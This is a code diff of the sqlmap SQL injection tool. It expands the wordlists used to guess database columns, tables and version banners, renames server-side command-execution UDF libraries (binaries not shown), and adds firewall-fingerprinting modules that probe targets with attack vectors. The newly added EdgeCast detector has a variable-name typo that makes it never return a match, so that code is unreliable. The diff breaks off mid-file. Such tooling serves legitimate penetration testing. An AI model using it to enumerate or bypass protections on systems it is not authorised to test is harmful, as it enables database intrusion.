module.socket.socket = socket.socket - module.socket.create_connection = socket.create_connection + module.socket.socket = _orgsocket + module.socket.create_connection = _orgcreateconnection class socksocket(socket.socket): """socksocket([family[, type[, proto]]]) -> socket object diff --git a/txt/common-columns.txt b/txt/common-columns.txt index 101747d08..3464db5fc 100644 --- a/txt/common-columns.txt +++ b/txt/common-columns.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission id @@ -2545,3 +2545,54 @@ command brand_id disablepostctrl fieldname + +# site:id +ajar +akses +aktif +akun +alamat +batas +cabang +deskripsi +foto +harga +hp +jeda +jenis +jml +judul +kata_kunci +kata_sandi +katakunci +katasandi +kategori +kelas +keterangan +kode +kunci +lahir +nama +nama_akun +nama_pengguna +namaakun +namapengguna +pekerjaan +pendidikan +pengguna +penjelasan +perusahaan +ponsel +ruang +sandi +soal +surat_elektronik +surel +tanggal +tanggal_lahir +tempat +tempat_lahir +tmp_lahir +universitas +urut +waktu diff --git a/txt/common-outputs.txt b/txt/common-outputs.txt index 55770e2b2..623c07554 100644 --- a/txt/common-outputs.txt +++ b/txt/common-outputs.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission [Banners] @@ -11,26 +11,44 @@ 5.0. 5.1. 5.5. +5.6. 6.0. # PostgreSQL +PostgreSQL 7.0 +PostgreSQL 7.1 +PostgreSQL 7.2 PostgreSQL 7.3 PostgreSQL 7.4 +PostgreSQL 8.0 PostgreSQL 8.1 PostgreSQL 8.2 PostgreSQL 8.3 PostgreSQL 8.4 +PostgreSQL 8.5 +PostgreSQL 9.0 +PostgreSQL 9.1 +PostgreSQL 9.2 +PostgreSQL 9.3 # Oracle Oracle Database 9i Standard Edition Release +Oracle Database 9i Standard Edition Release 9. Oracle Database 9i Express Edition Release +Oracle Database 9i Express Edition Release 9. Oracle Database 9i Enterprise Edition Release +Oracle Database 9i Enterprise Edition Release 9. Oracle Database 10g Standard Edition Release +Oracle Database 10g Standard Edition Release 10. Oracle Database 10g Express Edition Release Oracle Database 10g Enterprise Edition Release +Oracle Database 10g Enterprise Edition Release 10. Oracle Database 11g Standard Edition Release +Oracle Database 11g Standard Edition Release 11. Oracle Database 11g Express Edition Release +Oracle Database 11g Express Edition Release 11. Oracle Database 11g Enterprise Edition Release +Oracle Database 11g Enterprise Edition Release 11. # Microsoft SQL Server Microsoft SQL Server 7.0 diff --git a/txt/common-tables.txt b/txt/common-tables.txt index 8d0eacae0..9468c9382 100644 --- a/txt/common-tables.txt +++ b/txt/common-tables.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission users diff --git a/txt/keywords.txt b/txt/keywords.txt index 432746afd..240c47429 100644 --- a/txt/keywords.txt +++ b/txt/keywords.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) @@ -182,7 +182,6 @@ PRIMARY PRIOR PRIVILEGES PROCEDURE -PUBLIC READ REAL REFERENCES diff --git a/txt/user-agents.txt b/txt/user-agents.txt index b36ddc21f..c8dea4c1c 100644 --- a/txt/user-agents.txt +++ b/txt/user-agents.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) # See the file 'doc/COPYING' for copying permission Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1) diff --git a/udf/mysql/linux/32/lib_mysqludf_sys.so b/udf/mysql/linux/32/lib_mysqludf_sys.so deleted file mode 100644 index 9eb5e82ba..000000000 Binary files a/udf/mysql/linux/32/lib_mysqludf_sys.so and /dev/null differ diff --git a/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/udf/mysql/linux/32/lib_mysqludf_sys.so_ new file mode 100644 index 000000000..7e0eeb95e Binary files /dev/null and b/udf/mysql/linux/32/lib_mysqludf_sys.so_ differ diff --git a/udf/mysql/linux/64/lib_mysqludf_sys.so b/udf/mysql/linux/64/lib_mysqludf_sys.so deleted file mode 100644 index 9c6999ecd..000000000 Binary files a/udf/mysql/linux/64/lib_mysqludf_sys.so and /dev/null differ diff --git a/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/udf/mysql/linux/64/lib_mysqludf_sys.so_ new file mode 100644 index 000000000..c7a4d7a10 Binary files /dev/null and b/udf/mysql/linux/64/lib_mysqludf_sys.so_ differ diff --git a/udf/mysql/windows/32/lib_mysqludf_sys.dll b/udf/mysql/windows/32/lib_mysqludf_sys.dll deleted file mode 100644 index a2196a25e..000000000 Binary files a/udf/mysql/windows/32/lib_mysqludf_sys.dll and /dev/null differ diff --git a/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/udf/mysql/windows/32/lib_mysqludf_sys.dll_ new file mode 100644 index 000000000..ae438d636 Binary files /dev/null and b/udf/mysql/windows/32/lib_mysqludf_sys.dll_ differ diff --git a/udf/mysql/windows/64/lib_mysqludf_sys.dll b/udf/mysql/windows/64/lib_mysqludf_sys.dll deleted file mode 100644 index 3de734fc9..000000000 Binary files a/udf/mysql/windows/64/lib_mysqludf_sys.dll and /dev/null differ diff --git a/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/udf/mysql/windows/64/lib_mysqludf_sys.dll_ new file mode 100644 index 000000000..c06f77f22 Binary files /dev/null and b/udf/mysql/windows/64/lib_mysqludf_sys.dll_ differ diff --git a/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so b/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so deleted file mode 100644 index ce33ad34e..000000000 Binary files a/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..a194bcb45 Binary files /dev/null and b/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so deleted file mode 100755 index eb20b094e..000000000 Binary files a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..13a55a367 Binary files /dev/null and b/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so b/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so deleted file mode 100755 index 9e07a823f..000000000 Binary files a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..c87247f8e Binary files /dev/null and b/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so b/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so deleted file mode 100755 index ddf07c98e..000000000 Binary files a/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..f24c34824 Binary files /dev/null and b/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..520350650 Binary files /dev/null and b/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..72bc101db Binary files /dev/null and b/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..3a0973d84 Binary files /dev/null and b/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..3b8c49630 Binary files /dev/null and b/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so b/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so deleted file mode 100755 index 02e7e09ba..000000000 Binary files a/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..996fdf0dc Binary files /dev/null and b/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so b/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so deleted file mode 100755 index 5dd842a4b..000000000 Binary files a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..905e48886 Binary files /dev/null and b/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so b/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so deleted file mode 100755 index 80eec1a74..000000000 Binary files a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..bd5c1ceee Binary files /dev/null and b/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so b/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so deleted file mode 100755 index 7c29ff7a3..000000000 Binary files a/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so and /dev/null differ diff --git a/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..43c4427f9 Binary files /dev/null and b/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..eee10ec8c Binary files /dev/null and b/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..0fcb1913d Binary files /dev/null and b/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..dd554a419 Binary files /dev/null and b/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ new file mode 100644 index 000000000..ab5b6a8e6 Binary files /dev/null and b/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ differ diff --git a/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll b/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll deleted file mode 100755 index 342d45a08..000000000 Binary files a/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll and /dev/null differ diff --git a/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ new file mode 100644 index 000000000..2d3ce9f9e Binary files /dev/null and b/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ differ diff --git a/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll b/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll deleted file mode 100755 index 9113b56c2..000000000 Binary files a/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll and /dev/null differ diff --git a/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ new file mode 100644 index 000000000..c4fd18d28 Binary files /dev/null and b/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ differ diff --git a/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll b/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll deleted file mode 100755 index 43ba07ad6..000000000 Binary files a/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll and /dev/null differ diff --git a/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ new file mode 100644 index 000000000..2beba1d4c Binary files /dev/null and b/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ differ diff --git a/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll b/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll deleted file mode 100644 index 5df72e78a..000000000 Binary files a/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll and /dev/null differ diff --git a/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ new file mode 100644 index 000000000..612535c70 Binary files /dev/null and b/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ differ diff --git a/waf/360.py b/waf/360.py new file mode 100644 index 000000000..cc8b4c615 --- /dev/null +++ b/waf/360.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "360 Web Application Firewall (360)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = re.search(r"wangzhan\.360\.cn", headers.get("X-Powered-By-360wzb", ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/__init__.py b/waf/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/waf/__init__.py +++ b/waf/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/airlock.py b/waf/airlock.py index 4038adbb1..6a5b433b7 100644 --- a/waf/airlock.py +++ b/waf/airlock.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/anquanbao.py b/waf/anquanbao.py new file mode 100644 index 000000000..430ce942a --- /dev/null +++ b/waf/anquanbao.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Anquanbao Web Application Firewall (Anquanbao)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = re.search(r"MISS", headers.get("X-Powered-By-Anquanbao", ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/baidu.py b/waf/baidu.py new file mode 100644 index 000000000..fc9cc9d21 --- /dev/null +++ b/waf/baidu.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Yunjiasu Web Application Firewall (Baidu)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = re.search(r"fhl", headers.get("X-Server", ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/barracuda.py b/waf/barracuda.py index 740178ff1..41866a8ad 100644 --- a/waf/barracuda.py +++ b/waf/barracuda.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -18,6 +18,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retval = re.search(r"\Abarra_counter_session=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= re.search(r"(\A|\b)barracuda_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None if retval: break diff --git a/waf/bigip.py b/waf/bigip.py index 75e8c1d01..4023d0395 100644 --- a/waf/bigip.py +++ b/waf/bigip.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/binarysec.py b/waf/binarysec.py index 1f7e7ec95..268a8a2e2 100644 --- a/waf/binarysec.py +++ b/waf/binarysec.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/blockdos.py b/waf/blockdos.py new file mode 100644 index 000000000..adcc902e3 --- /dev/null +++ b/waf/blockdos.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "BlockDoS" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = re.search(r"BlockDos\.net", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/ciscoacexml.py b/waf/ciscoacexml.py index a384ccec0..89834a64e 100644 --- a/waf/ciscoacexml.py +++ b/waf/ciscoacexml.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/cloudflare.py b/waf/cloudflare.py index be293b7c6..cdae41bb4 100644 --- a/waf/cloudflare.py +++ b/waf/cloudflare.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/datapower.py b/waf/datapower.py index 66dde7bb6..1dd60df25 100644 --- a/waf/datapower.py +++ b/waf/datapower.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/denyall.py b/waf/denyall.py index 8819206b5..46189389b 100644 --- a/waf/denyall.py +++ b/waf/denyall.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/dotdefender.py b/waf/dotdefender.py index 9cc66e18b..4cf42822c 100644 --- a/waf/dotdefender.py +++ b/waf/dotdefender.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/edgecast.py b/waf/edgecast.py new file mode 100644 index 000000000..c59a3db68 --- /dev/null +++ b/waf/edgecast.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "EdgeCast WAF (Verizon)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retVal = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + if retval: + break + + return retval diff --git a/waf/expressionengine.py b/waf/expressionengine.py new file mode 100644 index 000000000..3db06cb21 --- /dev/null +++ b/waf/expressionengine.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "ExpressionEngine (EllisLab)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = "Invalid GET Data" in page + if retval: + break + + return retval diff --git a/waf/fortiweb.py b/waf/fortiweb.py index 2ad3d26fc..a5200ab9e 100644 --- a/waf/fortiweb.py +++ b/waf/fortiweb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/hyperguard.py b/waf/hyperguard.py index 8061c2ef4..677789f24 100644 --- a/waf/hyperguard.py +++ b/waf/hyperguard.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/incapsula.py b/waf/incapsula.py index 0ba8138a4..1b2196e55 100644 --- a/waf/incapsula.py +++ b/waf/incapsula.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/isaserver.py b/waf/isaserver.py index 6b0374236..c88cf4370 100644 --- a/waf/isaserver.py +++ b/waf/isaserver.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/jiasule.py b/waf/jiasule.py index fa180e32d..3d088f74c 100644 --- a/waf/jiasule.py +++ b/waf/jiasule.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -18,6 +18,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retval = re.search(r"jiasule-WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"__jsluid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"static\.jiasule\.com/static/js/http_error\.js", page, re.I) is not None if retval: break diff --git a/waf/knownsec.py b/waf/knownsec.py index 1f963f845..95fcae433 100644 --- a/waf/knownsec.py +++ b/waf/knownsec.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/kona.py b/waf/kona.py index 146fab1e3..731cd6f99 100644 --- a/waf/kona.py +++ b/waf/kona.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/modsecurity.py b/waf/modsecurity.py index be056cc45..673438f80 100644 --- a/waf/modsecurity.py +++ b/waf/modsecurity.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -19,6 +19,7 @@ def detect(get_page): page, headers, code = get_page(get=vector) retval = code == 501 and re.search(r"Reference #[0-9A-Fa-f.]+", page, re.I) is None retval |= re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= "This error was generated by Mod_Security" in page if retval: break diff --git a/waf/netcontinuum.py b/waf/netcontinuum.py index 8ee0fc8c6..c8a29774b 100644 --- a/waf/netcontinuum.py +++ b/waf/netcontinuum.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/netscaler.py b/waf/netscaler.py index b62edfdc0..fe6b817a2 100644 --- a/waf/netscaler.py +++ b/waf/netscaler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/paloalto.py b/waf/paloalto.py new file mode 100644 index 000000000..6c281e575 --- /dev/null +++ b/waf/paloalto.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Palo Alto Firewall (Palo Alto Networks)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = re.search(r"Access[^<]+has been blocked in accordance with company policy", page, re.I) is not None + if retval: + break + + return retval diff --git a/waf/profense.py b/waf/profense.py index d5346cac1..2bd00b0e7 100644 --- a/waf/profense.py +++ b/waf/profense.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/proventia.py b/waf/proventia.py index 3083428a4..7630b3b54 100644 --- a/waf/proventia.py +++ b/waf/proventia.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/waf/radware.py b/waf/radware.py index 951769b4f..72deba64c 100644 --- a/waf/radware.py +++ b/waf/radware.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -17,6 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retval = re.search(r"Unauthorized Activity Has Been Detected.+Case Number:", page, re.I | re.S) is not None + retval |= headers.get("X-SL-CompState") is not None if retval: break diff --git a/waf/requestvalidationmode.py b/waf/requestvalidationmode.py new file mode 100644 index 000000000..ad0abc9db --- /dev/null +++ b/waf/requestvalidationmode.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2015 sqlmap developers 